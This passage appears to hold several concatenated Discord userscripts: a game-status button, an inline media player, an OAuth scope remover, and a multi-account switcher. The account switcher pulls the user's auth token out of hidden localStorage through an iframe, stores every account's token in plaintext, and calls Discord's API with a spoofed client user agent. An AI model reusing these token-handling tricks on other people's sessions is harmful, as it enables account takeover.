bCgjbGluZWFyR3JhZGllbnQ3MTI1KSIvPjxnIGlkPSJnNzA1NyIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoODQ1LjkxODczLDg5OS44MTU1MykiPjxyZWN0IGlkPSJyZWN0NzA1OSIgd2lkdGg9IjM4IiBoZWlnaHQ9IjIxLjIiIHg9Ii01NDIuMSIgeT0iLTYyNy4yIiBmaWxsPSIjZTdlOGU4Ii8+PHJlY3QgeT0iLTYyNy40IiB4PSItNTQyLjEiIGhlaWdodD0iMjEuMiIgd2lkdGg9IjM4IiBpZD0icmVjdDcwNjEiIGZpbGw9IiMxNjE3MTciLz48cmVjdCB5PSItNjI2LjciIHg9Ii01NDEuMyIgaGVpZ2h0PSIxOS4yIiB3aWR0aD0iMzYuMyIgaWQ9InJlY3Q3MDYzIiBmaWxsPSIjZjlmOWY5Ii8+PHJlY3QgaWQ9InJlY3Q3MDY1IiB3aWR0aD0iMzYuMyIgaGVpZ2h0PSIxOS4yIiB4PSItNTQxLjMiIHk9Ii02MjYuMSIgZmlsbD0idXJsKCNsaW5lYXJHcmFkaWVudDcxMjcpIi8+PC9nPjxwYXRoIGQ9Im0yMzAuNiAzMTMuN2MwIDAgMS4xIDUuMyAyLjggNy4zIDMuNyA0LjYgOS4yIDcuOCAxNC45IDkuNSAyMy43IDYuOSA1Ni4xIDUgODguOCA1LjYgNzMuNyAxLjQgMTAyLjQtMC40IDE0OS41LTEuNiA0LjktMC4xIDguOS00LjQgMTMuNi03LjMgNC43LTIuOSA4LjEtMTQuNCA4LjEtMTQuNGwtMC44IDBjLTEuMSAyLjYtMi41IDMuMi00LjQgMy4zLTg0LjQgMi45LTE3My4zIDYuNS0yNjMuMiAwLjctMi4xLTAuMS01LjYtMS40LTYuNC0yLjYtMC4zLTAuNC0xLjEtMS44LTEuMi0yLjN6IiBpZD0icGF0aDcwNjciIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIHNvZGlwb2RpOm5vZGV0eXBlcz0iY3Nzc3NzY2Njc3NjYyIgc3R5bGU9ImZpbGw6dXJsKCNsaW5lYXJHcmFkaWVudDcxMjkpO29wYWNpdHk6MCIvPjwvZz48L2c+PC9zdmc+';
let game_name = '';
// UI
function triggerMouseOver (element, enter) {
// https://developer.mozilla.org/en-US/docs/Web/API/MouseEvent
const event = new MouseEvent('mouse' + (enter ? 'over' : 'out'), {
view: window,
bubbles: true,
cancelable: true
})
// https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/dispatchEvent
element.dispatchEvent(event)
}
function gameUI() {
game_name = prompt("Game Name? (empty = remove)");
if (game_name === null) return;
let msg = { "op": 3, "d": { "status": window._dgs_last_status_, "since": 0, "afk": false } };
msg.d.game = game_name.length > 0 ? { "name": game_name, "type": 0 } : null;
window._dgs_game_entry_ = msg.d.game;
window._ws_.send(JSON.stringify(msg));
if (game_name.length == 0) {
console.log("[Discord Game Status] Removed game status.");
} else {
console.log("[Discord Game Status] Set game name as: " + game_name);
}
}
function setTooltipTemplate (container, template) {
tooltip_container = container;
tooltip_template = template;
}
function tooltipUI (ev, onoff) {
if (tooltip_container == null) return;
if (onoff) {
let left = 0;
if (ev && ev.currentTarget) {
const rect = ev.currentTarget.getBoundingClientRect();
left = rect.left - (game_name ? game_name.length * 1.5 : 0) - rect.width * 1.4;
}
tooltip_container.innerHTML = tooltip_template;
let tooltip = tooltip_container.querySelectorAll('div[class^="tooltip-"]')[0];
tooltip.style = "position:fixed; left:" + left + "px; bottom:51px;";
tooltip.querySelectorAll('div[class^="tooltipContent-"]')[0].textContent = game_name && game_name.length > 0 ? 'Game Status: ' + game_name : 'Set Game Status';
} else {
tooltip_container.innerHTML = '';
}
}
function tooltipUIon (ev) { return tooltipUI (ev, true); }
function tooltipUIoff (ev) { return tooltipUI (ev, false); }
// wait for UI
let interval_UI_id = null;
function interval_UI() {
const nameTag = document.querySelectorAll('div[class^="nameTag-"]')[0];
if (!nameTag) return;
const existing_button = nameTag.parentNode.getElementsByTagName("button")[0];
if (!existing_button) return;
const buttons = existing_button.parentNode;
if (buttons && buttons.childNodes.length > 0) {
clearInterval(interval_UI_id);
console.log("%c/!\\\\" + "%cInjected Discord Game Status!" + "%c/!\\\\", "color: #dd44dd; -webkit-text-stroke: 2px black; font-size: 30px; font-weight: bold; \
border-style: double; border-width: 10px", "color: #dd44dd; -webkit-text-stroke: 2px black; font-size: 30px; font-weight: bold; border-style: double; \
border-width: 10px", "color: #dd44dd; -webkit-text-stroke: 2px black; font-size: 30px; font-weight: bold; border-style: double; border-width: 10px");
{ // steal the HTML code of a working tooltip
triggerMouseOver (existing_button, true);
window.tooltip = document.querySelectorAll ('div[class^="tooltip-"]')[0];
tooltip.style = "opacity: 1; transform: none";
let container = tooltip.parentNode.parentNode;
let container_content = container.innerHTML;
triggerMouseOver (existing_button, false);
let cloned_container = container.cloneNode (true);
container.parentNode.appendChild (cloned_container);
setTooltipTemplate (cloned_container, container_content);
tooltipUIoff();
}
// construct the actual button and style it
const button = buttons.childNodes[1].cloneNode (true);
buttons.appendChild (button);
button.addEventListener ("click", gameUI, false);
button.addEventListener ("mouseenter", tooltipUIon, false);
button.addEventListener ("mouseleave", tooltipUIoff, false);
let button_button = button.children[0];
button_button.className += " btn-gamestatus";
button_button.style = "";
button_button.innerHTML = ""; // remove contents (svg), we're doing this via background-image like in the old Discord times!
const style = document.createElement ("style");
const sheet = document.head.appendChild (style).sheet;
sheet.insertRule (".btn-gamestatus:hover {-webkit-filter: brightness(165%);}", sheet.cssRules.length);
sheet.insertRule (".btn-gamestatus { width: 20px; height: 20px; opacity: 1; -webkit-filter: brightness(115%); background-size: 18px auto; background-repeat: no-repeat; background-position: center; background-image: url('" + button_icon + "')}", sheet.cssRules.length);
}
}
interval_UI_id = setInterval (interval_UI, 1);
`);
(function() {
'use strict';
//main Loop, LOOKS FOR LINKS
function hasAttach(element){
if(element.id == "checked"){
return false;
}
var children = element.childNodes;
element.id = "checked";
if(children !== undefined){
return true;
}else{
return false;
}
}
function displayAs(element,url,video){
video.src = url;
video.setAttribute("controls", "");
element.appendChild(video);
}
setInterval(function(){
//msg first support later
//loop for lattest 5 messages
var Acc = document.getElementsByClassName("accessory");
for(var i=1; i<Acc.length; i++){
var videoTemplate = document.createElement("video");
videoTemplate.style.height = "214px";
var curAcc = Acc[Math.abs(Acc.length - i)];
if(hasAttach(curAcc)){
console.log("Video Found");
var children = curAcc.childNodes;
var url = curAcc.childNodes[0].childNodes[1].childNodes[0].href;
var endCap = url.split(".").pop();
var validEndCapsVid = "webm mp4 wma m4v mov avi flx mpg wmv";
var validEndCapsAud = "mp3 aac ogg m4a flac wav";
if(!validEndCapsVid.includes(endCap) && !validEndCapsAud.includes(endCap) && endCap == undefined){
return;
}
if(validEndCapsAud.includes(endCap)){
videoTemplate = document.createElement("audio");
}
//videoTemplate.setAttribute("style", "");
displayAs(curAcc,url,videoTemplate);
}
}
},300);
// Your code here...
})();
(function() {
'use strict';
const v = "1.6";
const apiPrefix = "https://discord.com/api/v8";
let neededClasses = [];
let functionKeeper = webpackJsonp[0][1];
let classesContain = [
["menu","scroller","styleFixed","styleFlexible","item","hideInteraction","customItem","labelContainer","label","subtext","iconContainer","icon","hintContainer","imageContainer","caret","image","disabled","separator","submenuContainer","submenuPaddingContainer","submenu","colorDefault","checkbox","radioSelection","check","focused","colorBrand","colorDanger","colorPremium","groupLabel"],
["statusItem","status","icon","description","customStatusItem","customStatusWithEmoji","customEmoji","customEmojiPlaceholder","customText","clearStatusButton","clearStatusIcon"],
["layerContainer","layer","layerHidden","disabledPointerEvents"],
["backdrop","backdropWithLayer"],
["backdrop","layer"],
["responsiveWidthMobile","innerPadding","focusLock","root","small","medium","large","fullscreenOnMobile","footer","header","separator","content","close","hideOnFullscreen"],
["artHeight","emojiSize","emojiMargin","formGroup","modalRoot","inputContainer","modalCloseButton","headerText","emojiButton","fullOpacity","emojiButtonContainer","emoji","input","clearButton","clearIcon","headerContainer","header","art","cancelButton"],
["_flex","_horizontal","_horizontalReverse","flex","horizontal","horizontalReverse","flexChild","flexMarginReset"],
["flex","alignStart","alignEnd","alignCenter","alignStretch","alignBaseline","justifyStart","justifyEnd","justifyCenter","justifyAround","justifyBetween","noWrap","wrap","wrapReverse","directionRow","directionRowReverse","directionColumn","spacer","vertical","horizontal","horizontalReverse","flexCenter"],
["button","lookFilled","colorBrand","spinnerItem","lookInverted","lookOutlined","lookGhost","lookLink","contents","hoverBrand","hasHover","colorGrey","hoverGrey","colorRed","hoverRed","colorGreen","hoverGreen","colorYellow","hoverYellow","colorLink","hoverLink","colorWhite","hoverWhite","colorBlack","hoverBlack","colorPrimary","hoverPrimary","colorTransparent","hoverTransparent","lookBlank","sizeTiny","sizeSmall","sizeMedium","sizeLarge","sizeXlarge","sizeMin","sizeMax","sizeIcon","grow","fullWidth","submitting","spinner","disabledButtonWrapper","disabledButtonOverlay"],
["scrollerBase","thin","fade","scrolling","auto","none","content","disableScrollAnchor"],
["container","downloadProgressCircle","guilds","base","sidebar","hasNotice","panels","content","activityPanel","hiddenOnMobileStore"],
["notice","colorDefault","button","colorNeutral","colorDownload","colorNotification","colorDark","colorPremium","colorPremiumTier1","colorPremiumTier2","colorInfo","colorSuccess","colorDanger","colorStreamerMode","colorSpotify","platformIcon","colorBrand","colorCustom","closeButton","buttonMinor"],
];
let ccSet = [];
for (let i = 0; i < classesContain.length; i++) {
const element = classesContain[i];
ccSet.push(new Set(element));
}
for (const key in functionKeeper) {
if (functionKeeper.hasOwnProperty(key)) {
const element = functionKeeper[key];
let ans = {};
element(ans);
ans = ans.exports;
if(ans != undefined || ans != null){
ans = Object.keys(ans);
let a = new Set(ans);
for (let j = 0; j < ccSet.length; j++) {
const element2 = ccSet[j];
if(eqSet(element2, a)){
neededClasses[j] = key;
}
}
}
}
}
function eqSet(as, bs) {
if (as.size !== bs.size) return false;
for (var a of as) if (!bs.has(a)) return false;
return true;
}
let allClasses = {};
const createElm = (html) => {
const temp = document.createElement('div');
temp.innerHTML = html;
return temp.removeChild(temp.firstElementChild);
//webpackJsonp[0][1][neededClasses[0]].toString(); is the way
}
const insertCss = (css) => {
const style = document.createElement('style');
style.appendChild(document.createTextNode(css));
document.head.appendChild(style);
return style;
}
insertCss(`.customAccount {background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCIgZmlsbD0iI0I5QkJCRSIgd2lkdGg9IjE4cHgiIGhlaWdodD0iMThweCI+PHBhdGggZD0iTTAgMGgyNHYyNEgweiIgZmlsbD0ibm9uZSIvPjxwYXRoIGQ9Ik0xNiAxMWMxLjY2IDAgMi45OS0xLjM0IDIuOTktM1MxNy42NiA1IDE2IDVjLTEuNjYgMC0zIDEuMzQtMyAzczEuMzQgMyAzIDN6bS04IDBjMS42NiAwIDIuOTktMS4zNCAyLjk5LTNTOS42NiA1IDggNUM2LjM0IDUgNSA2LjM0IDUgOHMxLjM0IDMgMyAzem0wIDJjLTIuMzMgMC03IDEuMTctNyAzLjVWMTloMTR2LTIuNWMwLTIuMzMtNC42Ny0zLjUtNy0zLjV6bTggMGMtLjI5IDAtLjYyLjAyLS45Ny4wNSAxLjE2Ljg0IDEuOTcgMS45NyAxLjk3IDMuNDVWMTloNnYtMi41YzAtMi4zMy00LjY3LTMuNS03LTMuNXoiLz48L3N2Zz4=);background-size: contain;background-repeat: no-repeat;}
.changeAccount {grid-area: icon;margin-left: -2px;width: 16px;height: 16px;}
.accountChooserContainer {display: flex;height: 70px;}
.accountChooserAvatar {border-radius: 50%; align-self: center;height: 80%;}
.accountName {align-self: center;font-size: x-large;font-weight: 400;color: var(--interactive-active);}
.accountLogin {margin-left: auto;align-self: center;padding: 8px 20px;background-color: #43b581;font-weight: 900;color: #fff;border-radius: 5px;}
.accountLogin:hover {background-color: #3ca374;}
.accountDiscriminator{align-self: center;margin-top: 7px;color: var(--header-secondary);}
#addAccount{margin-left: auto;margin: 10px auto;color: var(--header-secondary);cursor: pointer;}
#addAccount:hover{text-decoration: underline;}
.versionNotifier {background-color: #6b1ba7;}
#changeLogButtonClick:hover {color: #6b1ba7;}
`);
function parseAllClasses(){
for (var i = 0; i < neededClasses.length; i++) {
let x = {};
webpackJsonp[0][1][neededClasses[i]](x);
allClasses[neededClasses[i]] = x.exports;
}
console.log(allClasses);
}
window.onclick = () => {
let cont = document.getElementsByClassName(allClasses[neededClasses[0]].scroller);
if(cont.length > 0 && !document.getElementById("status-picker-account")){
cont[0].appendChild(createElm(`<div role="separator" class="${allClasses[neededClasses[0]].separator}"></div>`));
let elmnt = createElm(`<div class="${allClasses[neededClasses[0]].item} ${allClasses[neededClasses[0]].colorDefault}" aria-disabled="false" role="menuitem" id="status-picker-account" tabindex="-1"><div class="${allClasses[neededClasses[1]].statusItem}" aria-label="Set a custom status"><div class="changeAccount customAccount"></div><div class="${allClasses[neededClasses[1]].status}">Change account</div></div></div>`);
elmnt.onmouseover = () => {
let allElmnts = document.getElementsByClassName(allClasses[neededClasses[0]].item);
for (var i = 0; i < allElmnts.length; i++) {
allElmnts[i].classList.remove(allClasses[neededClasses[0]].focused);
}
elmnt.classList.add(allClasses[neededClasses[0]].focused);
}
elmnt.onmouseleave = () => {
let allElmnts = document.getElementsByClassName(allClasses[neededClasses[0]].item);
for (var i = 0; i < allElmnts.length; i++) {
allElmnts[i].classList.remove(allClasses[neededClasses[0]].focused);
}
}
elmnt.onclick = openPicker;
cont[0].appendChild(elmnt);
}
if(localStorage.versionMA != v && !document.getElementsByClassName("versionNotifier")[0]){
let baseElement = document.getElementsByClassName(allClasses[neededClasses[11]].base);
if(baseElement[0]){
baseElement[0].prepend(createElm(`<div class="${allClasses[neededClasses[12]].notice} ${allClasses[neededClasses[12]].colorDefault} versionNotifier"><div class="${allClasses[neededClasses[12]].closeButton}" id="versionNotifierCloseButton" aria-label="Dismiss" role="button" tabindex="0"></div>Multiple Discord Accounts ${v} makes corners rounder!<button id="changeLogButtonClick" class="${allClasses[neededClasses[12]].button}">View changes</button></div>`));
document.getElementById("changeLogButtonClick").onclick = () => {
window.open("https://github.com/cazeip/MultipleAccounts/blob/master/changes.md");
document.getElementsByClassName("versionNotifier")[0].remove();
localStorage.versionMA = v;
}
document.getElementById("versionNotifierCloseButton").onclick = () => {
document.getElementsByClassName("versionNotifier")[0].remove();
localStorage.versionMA = v;
}
}
}
}
function getUserInfo(){
window.dispatchEvent(new Event('beforeunload'));
let currentToken = JSON.parse(localStorage.getItem("token"));
return fetch(apiPrefix + "/users/@me", {
headers: {
Accept: "*/*",
"Accept-Language": "en-US",
Authority: "discordapp.com",
Authorization: currentToken,
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.301 Chrome/56.0.2924.87 Discord/1.6.15 Safari/537.36",
},
method: "GET",
}).then((res) => (res.status === 200 ? res.json() : Promise.resolve()))
.catch(console.error);
}
function getUser(userID){
window.dispatchEvent(new Event('beforeunload'));
let currentToken = JSON.parse(localStorage.getItem("token"));
return fetch(apiPrefix + "/users/"+userID, {
headers: {
Accept: "*/*",
"Accept-Language": "en-US",
Authority: "discordapp.com",
Authorization: currentToken,
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.301 Chrome/56.0.2924.87 Discord/1.6.15 Safari/537.36",
},
method: "GET",
}).then((res) => (res.status === 200 ? res.json() : Promise.resolve()))
.catch(console.error);
}
async function fillLocalStorage(){
let info = await getUserInfo();
window.dispatchEvent(new Event('beforeunload'));
info.token = JSON.parse(localStorage.getItem("token"));
localStorage.setItem("multipleAccounts", JSON.stringify([{id:info.id, token: info.token}]));
}
function apiCall(apiPath, body, method = "GET"){
window.dispatchEvent(new Event('beforeunload'));
let currentToken = JSON.parse(localStorage.getItem("token"));
return fetch(apiPrefix + apiPath, {
body: body ? JSON.stringify(body) : undefined,
headers: {
Accept: "*/*",
"Accept-Language": "en-US",
Authority: "discordapp.com",
Authorization: currentToken,
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.301 Chrome/56.0.2924.87 Discord/1.6.15 Safari/537.36",
},
method,
}).then((res) => (res.status === 200 ? res.json() : Promise.resolve()))
.catch(console.error);
}
function changeAccount(newToken){
window.dispatchEvent(new Event('beforeunload'));
let token = JSON.parse(localStorage.token);
apiCall("/auth/logout", {"provider":null,"voip_provider":null}, "POST");
window.location.href = "http://discord.com/login";
localStorage.token = "\""+newToken+"\"";
if (newToken == "--[LogIn]--") {
localStorage.removeItem("token");
}
}
async function openPicker(){
if(localStorage.getItem("multipleAccounts") == null || localStorage.getItem("multipleAccounts") == undefined){
await fillLocalStorage();
}else{
let info = await getUserInfo();
let localSt = JSON.parse(localStorage.getItem("multipleAccounts"));
let def = false;
for (let i = 0; i < localSt.length; i++) {
if(localSt[i].id === info.id){
def = true;
}
}
if(!def){
localSt.push({id: info.id, token: JSON.parse(localStorage.getItem("token"))});
}
localStorage.setItem("multipleAccounts", JSON.stringify(localSt));
}
let info = JSON.parse(localStorage.getItem("multipleAccounts"));
if(document.getElementById("accountPickerModal")) return;
let a = document.getElementsByClassName(allClasses[neededClasses[2]].layerContainer);
let y = createElm(`<div id="accountPickerBg" class="${allClasses[neededClasses[3]].backdropWithLayer}" style="opacity: 0; background-color: rgb(0, 0, 0); transform: translateZ(0px);transition: opacity 0.2s;"></div>`);
y.onclick = closePicker;
a[a.length - 1].appendChild(y);
let x = createElm(`<div class="${allClasses[neededClasses[4]].layer}" id="accountPickerModal"> <div class="${allClasses[neededClasses[5]].focusLock}" role="dialog" aria-label="Set a custom status" tabindex="-1" aria-modal="true"> <div class="${allClasses[neededClasses[6]].modalRoot} ${allClasses[neededClasses[5]].root} ${allClasses[neededClasses[5]].small} ${allClasses[neededClasses[5]].fullscreenOnMobile}" id="animatedModal" style="opacity: 0;transform: scale(0.2);transition: transform .2s, opacity .2s;"> <div class="${allClasses[neededClasses[7]].flex} ${allClasses[neededClasses[7]]._horizontal} ${allClasses[neededClasses[8]].justifyStart} ${allClasses[neededClasses[8]].alignCenter} ${allClasses[neededClasses[8]].noWrap} ${allClasses[neededClasses[5]].header} ${allClasses[neededClasses[6]].headerContainer}" id="replaceBackground" style="flex: 0 0 auto;background-position: bottom;background-size: cover;background-image: url(https://cdn.discordapp.com/attachments/768475463524941865/768481090087944233/pawel-nolbert-4u2U8EO9OzY-unsplash.jpg);padding: 30px;"> <div class="${allClasses[neededClasses[6]].header}" style="padding-top: 0;"><h4 class="${allClasses[neededClasses[6]].headerText}">Choose a Discord account</h4></div><button id="closeXbutton" aria-label="Close" type="button" class="${allClasses[neededClasses[5]].close} ${allClasses[neededClasses[6]].modalCloseButton} ${allClasses[neededClasses[9]].button} ${allClasses[neededClasses[9]].lookBlank} ${allClasses[neededClasses[9]].colorBrand} ${allClasses[neededClasses[9]].grow}"> <div class="${allClasses[neededClasses[9]].contents}"> <svg aria-hidden="false" width="24" height="24" viewBox="0 0 24 24"><path fill="currentColor" d="M18.4 4L12 10.4L5.6 4L4 5.6L10.4 12L4 18.4L5.6 20L12 13.6L18.4 20L20 18.4L13.6 12L20 5.6L18.4 4Z"></path></svg> </div></button> </div><div id="accountLinesContainer" class="${allClasses[neededClasses[5]].content} ${allClasses[neededClasses[10]].thin}" dir="ltr" style="overflow: hidden scroll; padding-right: 8px; padding-top: 10px;"></div><span id="addAccount">Not seeing your account? Click here to add one.</span></div></div></div>`);
a[a.length - 1].appendChild(x);
document.getElementById("closeXbutton").onclick = closePicker;
document.getElementsByClassName(allClasses[neededClasses[2]].layer)[0].style.display = "none";
document.getElementById("addAccount").onclick = () => {
changeAccount("--[LogIn]--");
}
setTimeout(async () => {
document.getElementById("accountPickerBg").style.opacity = "0.85";
document.getElementById("animatedModal").style.transform = "scale(1)";
document.getElementById("animatedModal").style.opacity = "1";
for (let i = 0; i < info.length; i++) {
let line;
let user = await getUser(info[i].id);
if(user.avatar == null){
line = createElm(`<div class="accountChooserContainer"><img class="accountChooserAvatar" src="https://cdn.discordapp.com/embed/avatars/${user.discriminator % 5}.png"><div style="margin-left: 20px;align-self: center;display: flex;flex-direction: column;"><div><span class="accountName">${user.username}</span><span class="accountDiscriminator">#${user.discriminator}</span></div><span style="color: var(--text-muted);padding-top: 2px;padding-left: 0;">ID: ${user.id}</span></div><button id="AccountSwitchButton${i}" class="accountLogin">Log in</button></div>`);
}else{
line = createElm(`<div class="accountChooserContainer"><img class="accountChooserAvatar" src="https://cdn.discordapp.com/avatars/${user.id}/${user.avatar}.png?size=128"><div style="margin-left: 20px;align-self: center;display: flex;flex-direction: column;"><div><span class="accountName">${user.username}</span><span class="accountDiscriminator">#${user.discriminator}</span></div><span style="color: var(--text-muted);padding-top: 2px;padding-left: 0;">ID: ${user.id}</span></div><button id="AccountSwitchButton${i}" class="accountLogin">Log in</button></div>`);
}
document.getElementById("accountLinesContainer").appendChild(line);
document.getElementById("AccountSwitchButton"+i).onclick = () => {
changeAccount(info[i].token);
}
}
}, 100);
}
function closePicker(){
document.getElementById("accountPickerBg").style.opacity = "0";
document.getElementById("animatedModal").style.transform = "scale(0.2)";
document.getElementById("animatedModal").style.opacity = "0";
setTimeout( () => {
document.getElementById("accountPickerBg").remove();
document.getElementById("accountPickerModal").remove();
}, 201);
}
window.localStorage = document.body.appendChild(document.createElement('iframe')).contentWindow.localStorage;
parseAllClasses();
})();
(function () {
'use strict';
const config = new MonkeyConfig({
title: 'Discord Authorization Page',
menuCommand: true,
params: {
removeGuildsJoinScope: {
type: 'checkbox',
default: true
},
removeEmailScope: {
type: 'checkbox',
default: false
},
skipPromptIfPossible: {
type: 'checkbox',
default: false
}
}
});
const urlParams = new URLSearchParams(location.search);
if (RegExp('discord.com/oauth2/authorize').test(document.referrer)) {
console.log('previos page was authorize, exiting');
return;
}
let href = location.href;
const scopes = urlParams.get("scope").split(' ');
if (config.get('removeGuildsJoinScope') && scopes.includes('guilds.join')) {
console.log('found guilds.join scope, removing it');
href = href.replace(/guilds.join/, '');
}
if (config.get('removeEmailScope') && scopes.includes('email')) {
console.log('found email scope, removing it');
href = href.replace(/email/, '');
}
console.log('moving to new domain');
location.assign(`${href}${config.get('skipPromptIfPossible') ? '&prompt=none' : ''}`);
})();